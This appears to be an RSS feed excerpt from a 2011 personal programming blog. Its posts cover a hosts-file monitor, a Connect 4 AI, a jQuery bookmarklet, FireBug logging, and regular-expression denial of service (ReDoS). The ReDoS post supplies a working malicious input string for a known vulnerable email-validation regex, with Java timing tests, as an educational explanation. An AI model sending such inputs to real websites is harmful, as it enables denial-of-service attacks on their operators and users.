<p>Some anti-malware applications include an option to protect the hosts file, <a title="Spybot Search &amp; Destroy" href="http://www.safer-networking.org/en/spybotsd/index.html">Spybot Search &amp; Destroy</a> is one such application, but for cases where hosts file protection isn&#8217;t available I have created a tiny program to monitor the hosts file for changes.</p>
<p><img class="aligncenter size-full wp-image-86" title="Hosts File Monitor Screenshot" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/02/Screenshot.png" alt="Hosts File Monitor Screenshot" width="521" height="125" />The program creates a tray icon and displays a notification balloon when it detects a change to the hosts file. Clicking the notification balloon will open the hosts file in notepad for quick and easy checking/repairing. The program has been tested on Windows XP SP2 and Windows 7 but if you have any problems with it please leave a comment and I&#8217;ll do my best to help.</p>
<p style="padding-left: 30px;">Download the <a title="Hosts File Monitor installer (.exe)" href="http://www.nickbloor.co.uk/wp-content/uploads/2011/02/hostsfilemonitor-setup.exe">installer</a> (.exe)<br />
Download the <a title="Hosts File Monitor installer (.msi)" href="http://www.nickbloor.co.uk/wp-content/uploads/2011/02/hostsfilemonitor-setup.msi">Windows installer package</a> (.msi)</p>
<h3>Source Code</h3>
<p>For the techie types out there the C# source code and Visual Studio 2010 workspace for the program and installer can be <a title="Hosts File Monitor source code" href="http://www.nickbloor.co.uk/wp-content/uploads/2011/02/hostsfilemonitor-source.zip">downloaded here</a>.</p>
<p>The icon was created by <a title="Jonas Risk" href="http://jonasraskdesign.com/">Jonas Rask</a>.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F02%2Fwindows-hosts-file-monitor%2F&amp;title=Windows%20Hosts%20File%20Monitor" id="wpa2a_12"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/02/windows-hosts-file-monitor/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>My Connect 4 AI Player &#8211; Source Code</title>
		<link>http://www.nickbloor.co.uk/2011/02/my-connect-4-ai-player-source-code/</link>
		<comments>http://www.nickbloor.co.uk/2011/02/my-connect-4-ai-player-source-code/#comments</comments>
		<pubDate>Thu, 17 Feb 2011 12:10:11 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Game Development]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=70</guid>
		<description><![CDATA[I&#8217;ve decided to release the Java source code for an artificial intelligence player I wrote for the game Connect 4. I entered the player into a British Computer Society competition in June 2009 and won one of the two first &#8230; <a href="http://www.nickbloor.co.uk/2011/02/my-connect-4-ai-player-source-code/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve decided to release the Java source code for an artificial intelligence player I wrote for the game Connect 4. I entered the player into a British Computer Society competition in June 2009 and won one of the two first prizes along with a secondary prize for <em>professionalism</em>. More information about the competition and how I developed <em>SimpleBloor</em> can be found on <a title="BCS contest - Connect 4 AI" href="http://www.nickbloor.co.uk/portfolio/bcs-contest-2009-connect-4-ai/">my page about the contest</a> and if your browser supports Java you can <a title="Play Connect 4 against SimpleBloor" href="http://www.nickbloor.co.uk/portfolio/bcs-contest-2009-connect-4-ai/play-connect-4-against-simplebloor/">play against SimpleBloor online</a>.</p>
<p>The source code can be <a title="Source code for SimpleBloor Connect 4 AI" href="http://www.nickbloor.co.uk/wp-content/uploads/2011/02/simplebloor-sourcecode.zip">downloaded here</a> and includes a compiled Java program to allow you to play against the AI. Use and modify the code as you wish. I have provided a swing GUI so that you can quickly play against the AI and test any changes you make.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F02%2Fmy-connect-4-ai-player-source-code%2F&amp;title=My%20Connect%204%20AI%20Player%20%26%238211%3B%20Source%20Code" id="wpa2a_14"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/02/my-connect-4-ai-player-source-code/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Regular expression denial of service attack</title>
		<link>http://www.nickbloor.co.uk/2011/02/regular-expression-denial-of-service-attack/</link>
		<comments>http://www.nickbloor.co.uk/2011/02/regular-expression-denial-of-service-attack/#comments</comments>
		<pubDate>Tue, 08 Feb 2011 20:27:00 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[ReDoS]]></category>
		<category><![CDATA[Regular expressions]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=68</guid>
		<description><![CDATA[Whilst doing some research for my final year university project on regular expression visualisation I came across an article about the performance of regular expression matching that caught my interest. In some implementations the time taken to detect whether a &#8230; <a href="http://www.nickbloor.co.uk/2011/02/regular-expression-denial-of-service-attack/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Whilst doing some research for my final year university project on regular expression visualisation I came across an <a title="Regular expression matching can be simple and fast" href="http://swtch.com/~rsc/regexp/regexp1.html">article</a> about the performance of regular expression matching that caught my interest. In some implementations the time taken to detect whether a pattern matches a given input can increase exponentially based on the length of the input text – according to the article the Perl implementation could take over a quadrillion years to match 100 characters using a bad regular expression. Immediately I thought that there must be potential for denial of service attacks there!</p>
<p>I did some research into this idea and came across the term ReDoS and one existing <a title="Secunia security advisory - Spring Framework ReDoS" href="http://secunia.com/advisories/34892">security advisory</a> published by Secunia in April 2009 (the Spring Framework is vulnerable to a ReDoS attack). I also came across an interesting <a title="MSDN Security Bulletin - ReDoS" href="http://msdn.microsoft.com/en-us/magazine/ff646973.aspx">article</a> on the subject published in the Microsoft Developer Network Magazine in May 2010 that presents a great analysis of how a ReDoS attack works and presents one potential option for automatically detecting vulnerable regular expressions.</p>
<h3>Experimenting with ReDoS</h3>
<p>As detailed in the MSDN article the cause of ReDoS attacks is back tracking. The regular expression ^(a+)+$ matches 1 or more capture groups each containing 1 or more ‘a’ characters so given the string ‘aab’ the regular expression engine might look at two possibilities (aa)b and (a)(a)b. Prefixing one more ‘a’ character to the string doubles the possibilities for finding a match giving (aaa)b, (aa)(a)b, (a)(aa)b, and (a)(a)(a)b.</p>
<p>Out of interest I threw together a program to test some bad regular expression matching. I used Java because the security advisory I found is for the Spring Framework which is built in Java.</p>
<pre class="brush: java; title: ; notranslate">
public class Main {
    public static void main(String[] args) {
		System.out.println(&quot;Testing the regular expression ^(a+)+$ against varying length input strings where an input string of length n consists of the letter a repeated n-1 times followed by the letter b.&quot;);
		System.out.println(&quot;For example an input length of 5 gives the string aaaab\n&quot;);
		String input = &quot;aaaaaaaaaaaaaaaaaaab&quot;;
		for(int i = 20; i &lt;= 25; i++) {
			System.out.println(&quot;Testing input length &quot; + i + &quot;... &quot;);
			testMatch(&quot;^(a+)+$&quot;, input);
			input = &quot;a&quot; + input;
		}
    }

	public static void testMatch(String regex, String text) {
		long startTime = System.currentTimeMillis();
		text.matches(regex);
		long totalTime = System.currentTimeMillis() - startTime;
		System.out.println(totalTime + &quot;ms&quot;);
	}
}
</pre>
<p>Using this code I achieved the following test results that demonstrate roughly exponential growth in the processing time as the input length increases.</p>
<table>
<tbody>
<tr>
<th>Input Length</th>
<td>20</td>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
<td>25</td>
</tr>
<tr>
<th>Time Taken</th>
<td>45ms</td>
<td>82ms</td>
<td>162ms</td>
<td>335ms</td>
<td>650ms</td>
<td>1,277ms</td>
</tr>
</tbody>
</table>
<p>The regular expression ^(a+)+$ is particularly bad and unlikely to be of any use in a website where it might be exploited however there are a lot of websites that use regular expressions to validate the format of an email address. The complexity of email address validation patterns varies greatly but the MSDN article mentions a pattern taken from an online <a title="Regular expression library" href="http://www.regexlib.com/">regular expression library</a> that is vulnerable to attack:</p>
<p>^([0-9a-zA-Z]<span class="highlight">([-.\w]*[0-9a-zA-Z])*</span>@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$</p>
<p>The highlighted capture group includes repetition whilst also being repeated itself. Achieving denial of service against this regular expression is as simple as ‘abcdefghijklmnopqrstuvwxyz@@’! A quick Java test of this regular expression and input string took 7,543ms to execute however this will increase exponentially with each character inserted before the first @ symbol.</p>
<pre class="brush: java; title: ; notranslate">
public class Main {
    public static void main(String[] args) {
		String regex = &quot;^([0-9a-zA-Z]([-.\\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\\w]*[0-9a-zA-Z])*\\.)+[a-zA-Z]{2,9})$&quot;;
		String text = &quot;abcdefghijklmnopqrstuvwxyz@@&quot;;
		long startTime = System.currentTimeMillis();
		text.matches(regex);
		long totalTime = System.currentTimeMillis() - startTime;
		System.out.println(totalTime + &quot;ms&quot;);
    }
}
</pre>
<p>I threw together some more tests and to my knowledge PHP 5.3.1 is not vulnerable to ReDoS attacks although I do not know about other PHP versions at this time. The .NET 4 regular expression implementation is vulnerable however.</p>
<h3>ReDoS in the wild</h3>
<p>The Spring Framework vulnerability is the only published ReDoS vulnerability that I’ve come across but there are many websites out there that use regular expressions for form validation. A lot of these websites use identical client-side and server-side validation to provide a better user experience – with client-side validation there’s no need to submit the form and wait for the response to be downloaded and rendered only to find that something was wrong. These websites are potentially advertising vulnerable regular expressions in client-side JavaScript code allowing an attacker to formulate a malicious input string to use in a server-side ReDoS attack.</p>
<p>Whilst researching ReDoS attacks I did come across one website that I know to be vulnerable to a ReDoS attack and I have contacted them about the issue.</p>
<p>I’m really keen to hear your thoughts on ReDoS attacks so please feel free to <a title="Contact Nick Bloor" href="http://localhost/myblog/contact/">get in touch</a> or leave a comment below!</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F02%2Fregular-expression-denial-of-service-attack%2F&amp;title=Regular%20expression%20denial%20of%20service%20attack" id="wpa2a_16"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/02/regular-expression-denial-of-service-attack/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Inject jQuery into any web page</title>
		<link>http://www.nickbloor.co.uk/2011/02/inject-jquery-into-any-web-page/</link>
		<comments>http://www.nickbloor.co.uk/2011/02/inject-jquery-into-any-web-page/#comments</comments>
		<pubDate>Sun, 06 Feb 2011 19:34:29 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Bookmarklet]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=66</guid>
		<description><![CDATA[Now and then I come across a website that could be made easier to use with a couple of lines of jQuery &#8211; for example a web mail application with check boxes next to every message but no &#8220;select all&#8221; &#8230; <a href="http://www.nickbloor.co.uk/2011/02/inject-jquery-into-any-web-page/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Now and then I come across a website that could be made easier to use with a couple of lines of jQuery &#8211; for example a web mail application with check boxes next to every message but no &#8220;select all&#8221; feature. I had a situation like this recently so I decided to write a bookmarklet to inject jQuery into a web page. Using the JavaScript console in FireBug I came up with the following code:</p>
<pre class="brush: jscript; title: ; notranslate">
var s = document.createElement(&quot;script&quot;);
s.setAttribute(&quot;src&quot;, &quot;http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js&quot;);
document.body.appendChild(s);
</pre>
<p>I confirmed that jQuery was injected into the website by using console.log() to write the output of a jQuery call to the FireBug console.</p>
<pre class="brush: jscript; title: ; notranslate">
//Log the result of a jQuery function, note jQuery() not $()
console.log(jQuery(document).text());

//$ = jQuery will assign jQuery to $ and allow console.log($(document).text()) to be used instead
</pre>
<p>To convert this code into a bookmarklet it needs to be wrapped in a function and the return value passed to void() to prevent the browser from trying to render the result of the function.</p>
<pre class="brush: jscript; title: ; notranslate">
javascript:void((function(){if(typeof jQuery==='undefined'){var s=document.createElement('script');s.setAttribute('src','http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js');document.body.appendChild(s);}})());
</pre>
<p>The resulting bookmarklet can be added to a toolbar or favourites menu in Forefox and Chrome by dragging this link: <a title="Inject jQuery" href="javascript:void((function(){if(typeof%20jQuery==='undefined'){var%20s=document.createElement('script');s.setAttribute('src','http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js');document.body.appendChild(s);}})());">Inject jQuery</a> to the desired location. In other browsers you can right-click the link and create a bookmark or add it to your favourites. The bookmarklet has been tested and works in FireFox 3.6, Internet Explorer 8, Chrome 8, and Opera 11.</p>
<p>By replacing the URL passed to s.setAttribute() this method can also be used to inject other hosted JavaScript libraries into a page.</p>
<p><strong>Update 17th August 2011:</strong> Updated the bookmarklet and code to protect against repeated injection of jQuery and to retrieve the latest version of jQuery from the Google CDN. Credit to Jason for his comment!</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F02%2Finject-jquery-into-any-web-page%2F&amp;title=Inject%20jQuery%20into%20any%20web%20page" id="wpa2a_18"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/02/inject-jquery-into-any-web-page/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Writing to the FireBug console from Flash (and PHP)</title>
		<link>http://www.nickbloor.co.uk/2011/02/writing-to-the-firebug-console-from-flash-and-php/</link>
		<comments>http://www.nickbloor.co.uk/2011/02/writing-to-the-firebug-console-from-flash-and-php/#comments</comments>
		<pubDate>Sun, 06 Feb 2011 16:15:16 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[ExternalInterface]]></category>
		<category><![CDATA[FireBug]]></category>
		<category><![CDATA[FirePHP]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=64</guid>
		<description><![CDATA[I was recently tasked with modifying the behaviour of a ready-made Flash component and for convenience I wanted to interact with the Flash component within FireFox and view live debug output in the FireBug console. It turns out to be &#8230; <a href="http://www.nickbloor.co.uk/2011/02/writing-to-the-firebug-console-from-flash-and-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I was recently tasked with modifying the behaviour of a ready-made Flash component and for convenience I wanted to interact with the Flash component within FireFox and view live debug output in the <a title="FireBug" href="http://getfirebug.com/">FireBug</a> console.</p>
<p>It turns out to be quite easy through the use of the <a title="ActionScript ExternalInterface class" href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html">ExternalInterface</a> class which allows ActionScript to use functionality provided by the container of the Flash component &#8211; in this case a JavaScript function provided by the web browser. All it takes is for ExternalInterface to be imported then the call() method can be used to call console.log().</p>
<pre class="brush: as3; title: ; notranslate">
//Import ExternalInterface
import flash.external.ExternalInterface;

//Call console.log() in the browser using the ExternalInterface.call() method
ExternalInterface.call(&quot;console.log&quot; , &quot;Hello FireBug console!&quot;);
</pre>
<h3>PHP</h3>
<p>I often use <a title="FirePHP" href="http://www.firephp.org/">FirePHP</a> to get nice debug output to the FireBug console from PHP applications but sometimes I need a quick and dirty method of getting debug output that doesn&#8217;t affect the page display (i.e. not using echo/print from PHP). In these situations I use the following:</p>
<pre class="brush: php; title: ; notranslate">

echo '&lt;script&gt;console.log(&quot;Hello FireBug console!&quot;);&lt;/script&gt;' ;
</pre>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F02%2Fwriting-to-the-firebug-console-from-flash-and-php%2F&amp;title=Writing%20to%20the%20FireBug%20console%20from%20Flash%20%28and%20PHP%29" id="wpa2a_20"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/02/writing-to-the-firebug-console-from-flash-and-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

